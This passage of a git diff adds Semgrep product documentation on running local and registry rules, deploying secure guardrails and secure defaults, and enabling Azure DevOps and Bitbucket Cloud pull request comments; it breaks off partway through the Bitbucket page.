+++ b/mintlify-docs/run-a-successful-pov.mdx
@@ -0,0 +1,8 @@
+---
+title: "Run a successful proof-of-value (POV) trial with Semgrep"
+sidebarTitle: "Run a successful trial"
+---
+
+import RunASuccessfulTrial from "/snippets/run-a-successful-pov.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/running-rules.mdx b/mintlify-docs/running-rules.mdx
new file mode 100644
index 0000000000..44b2e441f5
--- /dev/null
+++ b/mintlify-docs/running-rules.mdx
@@ -0,0 +1,127 @@
+---
+title: "Run rules"
+description: "This document explains how to use local Semgrep rules when scanning your project."
+---
+
+## About rules
+
+Rules define the code patterns Semgrep looks for when scanning your project. When a rule matches code, Semgrep creates a finding. The finding can be related to security, performance, or correctness issues, or it can be used to enforce best practices. Local rules are those that are present in your local environment and accessible to you when running Semgrep using the command line.
+
+## Types of local rules
+
+There are two types of local rules:
+
+- **Ephemeral rules**: Ephemeral rules are those that you use once. You can pass the rule to Semgrep through the command line as part of your `semgrep scan` command.
+- **YAML-defined rules**: YAML-defined rules are [configured in YAML files](/writing-rules/overview) and conform to Semgrep's [rule syntax](/writing-rules/rule-syntax) schema.
+
+## Ephemeral rules
+
+Use the `-e` or `--pattern` flags for ephemeral rules that are used once:
+
+```bash
+semgrep scan -e 'RULE_DEFINITION'
+```
+
+For example, to check for the Python `==` operator where the left and right sides are the same, which is often indicative of a bug, run the following command:
+
+```bash
+# ensure that you substitute the placeholder with the path to your project
+
+semgrep scan -e '$X == $X' --lang=py PATH/TO/PROJECT
+```
+
+## YAML-defined rules
+
+### Use the Semgrep default ruleset
+
+To run a Semgrep scan in your local environment with the default Semgrep ruleset, use:
+
+```bash
+semgrep scan --config=auto
+```
+
+### Use a Semgrep Registry rule
+
+The [Semgrep Registry](https://semgrep.dev/explore) makes available public rules that you can use to scan your project. Semgrep organizes registry rules into **rulesets**. Rulesets group related rules by features such as programming language, OWASP category, or framework. The Semgrep team curates rulesets, which are updated as new rules are added to the [Semgrep Registry](https://semgrep.dev/explore).
+
+To run rules from the Semgrep Registry locally:
+
+
+
+ Go to [Semgrep Registry](https://semgrep.dev/explore).
+
+
+ Select a ruleset and choose a rule.
+
+
+ Click **Expand rule > Run locally**.
+
+
+ Copy the snippet for **local install**, and add the path to the source code you want to scan in your terminal:
+
+ ```bash
+ semgrep scan --config="RULESET-ID" PATH/TO/SRC
+ ```
+
+
+ Optional: run the Semgrep Registry rules simultaneously with local rules:
+
+ ```bash
+ semgrep scan --config="RULESET-ID" --config=PATH/TO/MYRULE.YAML PATH/TO/SRC
+ ```
+
+
+
+
+**RULE IDS OF LOCAL RULES**
+
+Semgrep adds custom prefixes to IDs of local rules using these steps:
+
+1. Get the relative path from the process's current working directory to the directory containing the rules file.
+2. Replace the directory separators of the relative path with dots.
+3. Remove any characters not allowed in a rule ID from the relative path.
+
+
+### Use a custom rule
+
+
+**CUSTOM RULES**
+
+See [Write rules](/writing-rules/overview/) for more information on defining custom rules.
+
+
+
+
+ Create a `RULE_NAME.yaml` file, and save it in a location accessible to the CLI you're using to run Semgrep. The rule file looks similar to the following sample:
+
+ ```yaml
+ rules:
+ - id: is-comparison
+ languages:
+ - python
+ message: The operator 'is' is for reference equality, not value equality! Use
+ `==` instead!
+ pattern: $SOMEVAR is "..."
+ severity: HIGH
+ ```
+
+
+ Run the following command to scan with a local rule file:
+
+ ```bash
+ semgrep scan --config PATH/TO/RULE_NAME.YAML
+ ```
+
+
+
+Semgrep processes rules from hidden directories, such as `dir/.hidden/RULE_NAME.yml`, when you use the `--config` flag.
+
+### Use multiple rules and rulesets simultaneously
+
+You can use the `--config` flag multiple times to run a scan using multiple rules and rulesets. For example, to scan using Semgrep's Python ruleset and a rule that you defined and saved to `RULE_NAME.YAML`:
+
+```bash
+semgrep scan --config p/python --config PATH/TO/RULE_NAME.YAML
+```
+
+Ensure that you update the placeholder values in the sample code snippet accordingly.
diff --git a/mintlify-docs/secure-guardrails/custom-guardrails-rules.mdx b/mintlify-docs/secure-guardrails/custom-guardrails-rules.mdx
new file mode 100644
index 0000000000..6b67ad4a03
--- /dev/null
+++ b/mintlify-docs/secure-guardrails/custom-guardrails-rules.mdx
@@ -0,0 +1,53 @@
+---
+title: "Custom rules for secure guardrails"
+sidebarTitle: "Custom rules"
+description: "You can create custom Semgrep rules and deploy them as guardrails to enforce your organization's secure coding conventions."
+---
+
+## Prerequisites
+
+- An understanding of [secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep).
+- Knowledge of the basic Semgrep rule structure is helpful. See [Rule syntax](/writing-rules/rule-syntax) and [Pattern syntax](/writing-rules/pattern-syntax) documentation.
+- Enabling [Code search (beta)](/semgrep-code/editor#code-search-beta) is useful in verifying that your rule matches what you want it to match within your repositories.
+
+## General steps
+
+
+
+Create a custom Semgrep rule.
+
+
+Verify and test that the rule matches the code you want to detect.
+
+
+Optional: Set the custom Semgrep rule as a secure default.
+
+
+Deploy the rule as a guardrail in the following developer interfaces: IDE, PR or MR comments, or `pre-commit`.
+
+
+
+The following table lists the relevant documentation for each step:
+
+| Steps | References and notes |
+| :--- | :--- |
+| Create a custom rule | In addition to the **[required fields](/writing-rules/rule-syntax#required)** of a Semgrep rule, the following metadata fields are useful:
`category`
`confidence`
`likelihood`
`impact`
`subcategory`
Filling out `confidence` and `impact` in particular is useful for filtering rules within the Semgrep web app.
Read the [metadata reference documentation](/contributing/contributing-to-semgrep-rules-repository#fields-required-by-the-security-category). |
+| Verify that the rule matches as intended |
See [Testing rules](/writing-rules/testing-rules).
Enable [Code search (beta)](/semgrep-code/editor#code-search-beta) to test the rule on live repositories.
|
+| Optional: Set the rule as a secure default | When creating a custom secure default, you must use `category: security` and `subcategory: secure default` values in your rule (see [Secure default snippet](#secure-default-snippet)). |
+| Deploy the rule as a guardrail | For PR or MR comments:
[Ensure that PR or MR comments have been set up correctly.](/category/pr-or-mr-comments)
Set the rule to [Comment or Block mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes).
For IDEs: Require developers to install the [Semgrep extension for their IDE](/extensions/overview).
For `pre-commit`: [Install and configure Semgrep for `pre-commit`](/extensions/pre-commit).
|
+
+
+### Secure default snippet
+
+When creating a custom secure default, you must use `category: security` and `subcategory: secure default` values in your rule:
+
+```yaml
+rules:
+ - id: some-custom-default
+ ...
+ metadata:
+ category: security
+ subcategory:
+ - secure default
+ ...
+```
diff --git a/mintlify-docs/secure-guardrails/secure-defaults.mdx b/mintlify-docs/secure-guardrails/secure-defaults.mdx
new file mode 100644
index 0000000000..0fa99f342b
--- /dev/null
+++ b/mintlify-docs/secure-guardrails/secure-defaults.mdx
@@ -0,0 +1,34 @@
+---
+title: "Secure defaults"
+---
+
+**Secure defaults** are inherently secure libraries, frameworks, configurations, or settings. They mitigate common security concerns, such as preventing cross-site request forgery (CSRF) by properly verifying inbound requests in Django or Flask applications. By adopting secure defaults, teams minimize the need for developers to manually implement security measures.
+
+Secure default rules are Semgrep Code (SAST) rules that codify a secure default. The Semgrep team recommends deploying these rules as guardrails because the early adoption of secure defaults helps prevent additional vulnerabilities.
+
+Some secure default rules codify universally secure practices and work out of the box, while others are organization-specific and require customization.
+
+In the following example, the rule detects if a Flask [WTForm](https://flask-wtf.readthedocs.io/en/0.15.x/config/) view is protected from CSRF by default by checking the configuration variable `WTF_CSRF_CHECK_DEFAULT`. If it is set to `False` then the developer must call `csrf.protect()` whenever they handle a request—a manual process they must remember every time. Thus, `WTF_CSRF_CHECK_DEFAULT=True` is a secure default, which this Semgrep rule enforces.
+
+
+
+
+
+## Semgrep Code supported languages
+
+Semgrep Code provides secure default rules for the following languages:
+
+- C#
+- Python (Flask, FastAPI, and Django frameworks)
+
+Custom rules to deploy secure default rules can be written in any of [Semgrep Code’s supported languages](/supported-languages).
+
+## View Semgrep secure default rules
+
+View all proprietary Semgrep secure default rules through the ruleset [p/secure-defaults](https://semgrep.dev/p/secure-defaults).
+
+## Next steps
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/secure-guardrails/secure-guardrails-in-semgrep.mdx b/mintlify-docs/secure-guardrails/secure-guardrails-in-semgrep.mdx
new file mode 100644
index 0000000000..f3c04740ad
--- /dev/null
+++ b/mintlify-docs/secure-guardrails/secure-guardrails-in-semgrep.mdx
@@ -0,0 +1,208 @@
+---
+title: "Secure guardrails in Semgrep"
+sidebarTitle: "Secure guardrails"
+description: "Secure guardrails guide **developers** towards fixing security issues in the early stages of development. By deploying secure guardrails, you can:"
+---
+
+- Prevent issues from merging into production or default branches. This improves security posture and reduces the growth of the vulnerability backlog.
+- Reduce the time and cost to address issues—the earlier a vulnerability is detected, the faster it is to fix.
+
+The deployment of secure guardrails maximizes the impact of early detection by providing **specific** and **actionable** remediation guidance to developers. Customization enables you to set the **amount of alerts** that developers receive.
+
+This document defines secure guardrails and presents an overview of the guardrail deployment process in Semgrep.
+
+
+
+
+
+
+Secure guardrails consist of:
+
+
+**Content**
+ The content that identifies, explains, and provides remediation guidance for the security issue, such as the Semgrep rule and Semgrep Multimodal (AI) remediation guidance.
+
+ Semgrep uses **rules**, which are instructions that detect patterns in your code, such as security issues, bugs, and more. Semgrep generates and reports **findings** to you whenever it finds code that matches the patterns defined by rules.
+
+ Semgrep rules also include a **message** that guides remediation and provides other metadata about the vulnerability, such as its OWASP category, which are presented to the developer. Further improvements to this guidance are made through Semgrep Multimodal.
+
+**Interface**
+The developer-native **interface** where the developer can see the content and triage or remediate the finding, such as Visual Studio Code (VS Code), pre-commit on CLI, or GitHub pull request comments. See [all supported interfaces](#support-for-developer-interfaces-pre-build).
+
+
+
+ _**Figure**. Semgrep products provide the content of the guardrail, namely its rules and suggested remediations. The [Semgrep web app](https://semgrep.dev/login) provides the means to configure and deploy guardrails: what rules to deploy as well as where and how to alert developers._
+
+## Qualities of secure guardrails
+
+### Speed
+
+Scans must be quick to successfully integrate into developer workflows without slowing them down.
+
+The following table lists the speed of a Semgrep scan in relation to the environment the scan is run in:
+
+| Interface | Scope of scan | Analysis | Typical speed |
+| :--- | :--- | :--- | :--- |
+| IDE (per keystroke and on save) | Current file | Single-function, single-file | In a few seconds |
+| CLI on commit (through [`pre-commit`](https://pre-commit.com/)) | Files staged for commit (cross-function, single-file analysis) | Cross-function, single-file | Under 5 minutes |
+| PR or MR comments | All committed files and changes in the PR or MR | Cross-function, single-file analysis | Under 5 minutes |
+
+### Support for developer interfaces (pre-build)
+
+Guardrails should be able to provide remediation guidance and means to triage findings or give feedback within developer interfaces.
+
+Semgrep supports the following interfaces:
+
+| Interface | Supported providers and apps | Triage and remediation actions |
+| :--- | :--- | :--- |
+| IDEs | [Visual Studio Code (VS Code)](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) |
Receive human-written remediation guidance.
Ignore or apply a [Rule-defined fix](/writing-rules/rule-defined-fix), if it is available, to findings individually.
Receive human-written and Semgrep Multimodal remediation guidance\*; you can customize the confidence level at which the AI leaves a comment.
Ignore or apply a [Rule-defined fix](/writing-rules/rule-defined-fix), if it is available, to findings individually.
|
+| CLI through `pre-commit` | Most terminal emulator apps |
Receive human-written remediation guidance.
Ignore or apply a [Rule-defined fix](/writing-rules/rule-defined-fix), if it is available, to findings individually.
|
+
+_\*To receive Multimodal guidance, check that your source code manager (SCM) is supported: [list of supported source code managers (SCMs)](/semgrep-multimodal/overview#support-and-availability)._
+
+
+
+
+
+
+
+
+_**Figure**. Remediation message provided in VS Code. The message appears when a user hovers over findings, which are marked with squiggly lines. Developers can click the **Quick Fix** button to either ignore the finding or, if there's a Rule-defined fix, apply the fix._
+
+
+
+
+
+
+### Customizability
+
+Every organization has its own secure coding practices. Customizability ensures that the tool can adapt to the unique needs of an organization.
+
+Semgrep provides customizability through:
+
+- Custom rules: You can create custom rules and deploy them as guardrails. Learn more about Semgrep rule structure in [the next section](#remediation-guidance).
+- Memories: this feature allows you to add and save additional context when Semgrep Multimodal provides remediation. For example, you can provide organization-specific public keys, which Semgrep Multimodal remembers.
+
+
+### Remediation guidance
+
+Remediation guidance can come in three forms:
+
+- The rule's `message`
+- AI-generated remediation guidance through Semgrep Multimodal
+- The rule's `fix`
+
+Much of the remediation guidance originates from the rule itself, which is also used to generate Semgrep Multimodal's advice (if Multimodal is enabled). Learning the basic Semgrep rule structure can help you:
+
+- Customize remediation through your organization-specific rules.
+ - Writing your own rules provides you with a means to tailor Semgrep to your organization with or without Multimodal.
+- Write and deploy guardrails of your own.
+
+The following example illustrates a basic Semgrep rule.
+
+
+
+
+_**Figure**. A simple Semgrep rule that illustrates the common fields or keys used to create guardrails. Scroll through the **Rule** pane to view all the fields used to define the rule._
+
+
+
+```yaml
+rules:
+ # The name of the rule (required):
+ - id: fix-and-message-demo-copy
+ # The language of the target code (required):
+ languages:
+ - python
+ # How severe the impact of the finding is (required):
+ severity: HIGH
+ # Description and advice that appears in the IDE,
+ # PR or MR comment, or CLI (required):
+ message: >-
+ You're using an unsafe function.
+ Prefer safe_function() if possible.
+ # The matching logic of the rule (required):
+ pattern: unsafe_function(...)
+ # A substitution that resolves the finding (optional).
+ fix: safe_function(...)
+ # Metadata is optional but helpful to AI-generated remediation.
+ metadata:
+ # A category that describes the rule. Typically security:
+ category: security
+ # Confidence of the rule to detect true positives:
+ confidence: HIGH
+ # How likely an attacker can exploit the issue:
+ likelihood: HIGH
+ # Indicates how much damage a vulnerability can cause:
+ impact: HIGH
+ # A sub-type under category. Typically vuln, audit, or secure default:
+ subcategory:
+ - vuln
+```
+
+
+
+#### The rule `message`
+
+This description explains **why** the finding was generated and outlines **general advice** on resolving the issue. Messages notify developers in all interfaces where you've deployed a guardrail.
+
+#### AI-generated remediation guidance and code suggestions (Semgrep Multimodal)
+
+This is a tailored, **step-by-step** outline of what a developer must change to fix the insecure code.
+The guidance makes use of the Semgrep rule, AI's understanding of code, and a prompt tree that incorporates inputs such as:
+
+- Prior triage decisions
+- Custom instructions
+- Broader context of the file
+
+
+
+
+
+
+**INFO**
+
+- Within developer-native interfaces, Semgrep Multimodal only appears in PR or MR comments. Multimodal guidance does not appear in the IDE or `pre-commit`.
+- You can adjust when the guidance is shown to developers based on the level of confidence in the guidance.
+
+
+#### The rule's human-written fix (`fix`)
+
+Sometimes a rule can resolve a finding by replacing an insecure function with a secure one. These rules make use of Semgrep's [Rule-defined fix](/writing-rules/rule-defined-fix) feature, which lets rule-writers provide a human-written deterministic fix, as opposed to Semgrep's [Autofix](/semgrep-code/triage-remediation#autofix-findings) feature which is AI powered.
+
+Semgrep Multimodal does **not** provide a code snippet suggestion when a human-written fix is provided in the rule.
+
+## Deploy secure guardrails
+
+### Prerequisites
+
+#### For AppSec engineers
+
+- You have completed a [Semgrep core deployment](/deployment/core-deployment).
+- Your [Policies](https://semgrep.dev/orgs/-/policies) page should have at least one rule.
+
+#### For developers
+
+- You must have a Semgrep account.
+- You must have joined your Semgrep organization.
+- To use Semgrep with your IDE, you must install the extension for the IDE and sign in to Semgrep through the extension.
+- To use Semgrep with `pre-commit`, you must install and set up `pre-commit`, then sign in to Semgrep through the CLI.
+
+Rules can be **configured on a per-product, per-interface basis** to notify developers when a finding from that rule is detected. The customization enables you to manage the amount of notifications a developer may receive. The following table describes how to deploy guardrails for each product and interface:
+
+| Interface | Semgrep Code | Semgrep Secrets | Semgrep Supply Chain |
+| :--- | :--- | :--- | :--- |
+| IDE | To notify developers of findings from a rule, add the rule to your Policies. | To notify developers of findings from a rule, add the rule to your Policies. | Coming soon |
+| PR or MR comments | To notify developers, a rule must be in Comment mode; you can configure your Policies to include only **high confidence, high severity rules**. | To notify developers, a rule must be in Comment mode; you can configure your Policies to include only **high confidence, high severity rules**. | Developers receive comments about any **reachable vulnerability of high or critical severity.** |
+| CLI through `pre-commit` | To notify developers of findings from a rule, add the rule to your Policies. | To notify developers of findings from a rule, add the rule to your Policies. | Developers are notified of **all** findings by default. |
+
+
+## Next steps
+
+- Learn about [secure defaults and their implementation in Semgrep](/secure-guardrails/secure-defaults).
+- Create custom rules that you can [deploy as guardrails](/secure-guardrails/custom-guardrails-rules).
diff --git a/mintlify-docs/security.mdx b/mintlify-docs/security.mdx
new file mode 100644
index 0000000000..632ef1ed33
--- /dev/null
+++ b/mintlify-docs/security.mdx
@@ -0,0 +1,5 @@
+---
+title: "Security"
+---
+
+If you’ve found a vulnerability in Semgrep, our web application, or broader infrastructure, please email [security@semgrep.com](mailto:security@semgrep.com) and we’ll respond promptly. We appreciate your contribution and take all submissions seriously.
diff --git a/mintlify-docs/semgrep-appsec-platform/azure-pr-comments.mdx b/mintlify-docs/semgrep-appsec-platform/azure-pr-comments.mdx
new file mode 100644
index 0000000000..877aefebe4
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/azure-pr-comments.mdx
@@ -0,0 +1,313 @@
+---
+title: "Enable Azure pull request comments"
+sidebarTitle: "Azure PR comments"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+- You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
+
+
+Semgrep can create **pull request (PR) comments** in your Azure DevOps repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards, to help their fellow developers write safe and standards-compliant code.
+
+Automated comments on Azure DevOps pull requests are displayed as follows:
+
+
+
+
+
+## Conditions for PR comment creation
+
+PR comments appear for the following types of scans under these conditions:
+
+| Type of scan | Product name | Trigger condition | How to set up |
+| :--- | :--- | :--- | :--- |
+| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection).
2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
+| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
+| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection).
2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
+
+Comments from Supply Chain scans include the following information:
+
+**Risk**
+A description of the vulnerability, including the types of attack it is vulnerable to.
+
+**Fix**
+Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
+
+**Reference**
+A link to additional information about the vulnerability from its source, such as the GitHub Advisory Database and the National Vulnerability Database (NVD), if available.
+
+
+## Steps to set up PR comments
+
+### Prerequisites
+
+Semgrep currently supports repositories hosted by Azure DevOps Cloud.
+
+In addition to finishing the previous steps in your deployment journey, it is recommended to have completed a **full scan** on your **default branch** for the repository in which you want to receive comments.
+
+### Confirm your Semgrep account's connection
+
+PR comments are enabled by default for users who have connected their Azure DevOps project to Semgrep AppSec Platform. Confirm that you have the correct connection and access:
+
+
+
+In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
+
+
+Check that an entry for your Azure DevOps project exists and is correct.
+
+
+
+#### Triage through PR comments
+
+Developers can triage Semgrep findings without leaving Azure DevOps by responding to the PR comments authored by Semgrep. To turn this feature on, you must update your source code manager (SCM) connection to use a personal access token that meets the following requirements, because Semgrep requires webhooks for the triage through PR comments feature:
+
+- Has the role set to **Owner** or **Project Collection Admin**
+- Has the **Scopes** set to grant **Full access**.
+
+To update your connection between Semgrep and Azure DevOps:
+
+
+
+Log into Azure DevOps using an account assigned with either the **Owner** or **Project Collection Administrator** role for your organization.
+
+
+[Create an access token](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops&tabs=Windows#create-a-pat). When selecting the **Scopes** for the token, ensure that you select **Full access**.
+
+
+Return to Semgrep and [ sign in](https://semgrep.dev/login).
+
+
+Go to ** Settings > Source code managers**, and find your Azure DevOps connection.
+
+
+Click **Update access token**.
+
+
+In the **Update access token** dialog that appears, provide the token you created. Click **Update** to save and proceed.
+
+
+Toggle the **Incoming webhooks** setting on.
+
+
+
+Once you have PR comments fully configured, you can update the token provided to Semgrep to a more restrictive one. The scopes you must assign to the token include:
+
+- `Project and Team (Read & write)`
+- `Pull Request Threads (Read & write)`
+
+### Set up the configuration file
+
+The logic to determine whether Semgrep runs a full scan or a diff-aware scan on a pull request is defined in the `azure-pipelines.yaml` file.
+
+For PR comments and accurate diff-aware scan analysis to work, you must set two environment variables: `SEMGREP_PR_ID`, which identifies the pull request, and `SEMGREP_BASELINE_REF`, which defines the repository’s default branch used as the comparison baseline, such as `main` or `master`. Specifying the default branch helps Semgrep understand the differences between the current branch and the main line of development and to generate meaningful results and PR comments.
+
+
+```bash
+pool:
+ vmImage: ubuntu-latest
+variables:
+- group: Semgrep_Variables
+
+steps:
+- checkout: self
+ clean: true
+ fetchDepth: 20
+ persistCredentials: true
+# Replace master with the repository default branch if different.
+- script: |
+ python -m pip install --upgrade pipx
+ pipx install semgrep
+ if [ $(Build.SourceBranchName) = "master" ]; then
+ echo "Semgrep full scan"
+ semgrep ci
+ elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
+ echo "Semgrep diff scan"
+ export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
+ export SEMGREP_BASELINE_REF='origin/master'
+ git fetch origin master:origin/master
+ semgrep ci
+ fi
+ env:
+ SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
+```
+
+
+### Configure comments for Semgrep Secrets
+
+In addition to setting up the connection between Semgrep and Azure DevOps, you must assign rules to Comment or Block mode. This customization enables you to:
+
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Secrets.
+
+#### Validation state policies
+
+Validation state policies allow you to define how Semgrep handles the following issues:
+
+- **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
+- **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
+
+To edit the policy for invalid secrets and errors:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Click **Validation State Policies**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
+
+
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Code
+
+In addition to setting up the connection between Semgrep and Azure DevOps, you must assign rules to Comment or Block mode. This customization enables you to:
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
+
+
+Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
+
+
+Optional: Use the filters to quickly find rules to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Code.
+
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+If you are using **Azure Pipelines** to run Semgrep, set `SEMGREP_PR_ID` and `SEMGREP_BASELINE_REF` in your pipeline as described in [Set up the configuration file](#set-up-the-configuration-file).
+
+### Configure comments for Semgrep Supply Chain
+
+To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
+
+See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
+
+## Optional features
+
+### Customize PR comments
+
+You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
+
+
+
+
+
+To provide custom PR comments:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
+
+
+Navigate to **Settings > General > Global**.
+
+
+Go to the **Custom PR/MR comments footers** section.
+
+ 
+
+
+
+
+Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports HTML, Markdown, and plaintext links in your message.
+
+
+Click **Save changes**.
+
+
+
+### Enable Rule-defined fix in Azure repositories
+
+[Autofix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
+
+To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
+
+
+
+In Semgrep AppSec Platform, go to **Settings > General > Code**.
+
+
+Click the **Autofix ** toggle to enable this feature.
+
+
+
+## Next steps
+
+You've finished setting up a core deployment of Semgrep 🎉.
+
+- Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
+
+## Additional references
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/bitbucket-cloud-pr-comments.mdx b/mintlify-docs/semgrep-appsec-platform/bitbucket-cloud-pr-comments.mdx
new file mode 100644
index 0000000000..9b51cadab6
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/bitbucket-cloud-pr-comments.mdx
@@ -0,0 +1,411 @@
+---
+title: "Enable Bitbucket Cloud pull request comments"
+sidebarTitle: "Bitbucket Cloud"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+- You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
+
+
+Semgrep can create **pull request (PR) comments** in your Bitbucket repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards to help their fellow developers write safe and standards-compliant code.
+
+Automated comments on Bitbucket pull requests are displayed as follows:
+
+
+
+
+
+## Conditions for PR comment creation
+
+PR comments appear for the following types of scans under these conditions:
+
+| Type of scan | Product name | Trigger condition | How to set up |
+| :--- | :--- | :--- | :--- |
+| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
+| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies). To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
+| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
+
+Comments from Supply Chain scans include the following information:
+
+**Risk**
+A description of the vulnerability, including the types of attack it is vulnerable to.
+
+**Fix**
+Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
+
+**Reference**
+A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
+
+
+## Supported Bitbucket plans
+
+- Any of the following Bitbucket plans are supported:
+ - Cloud Free
+ - Standard
+ - Premium
+
+There are two ways in which you can integrate Semgrep comments into Bitbucket depending on the Bitbucket plan you use:
+
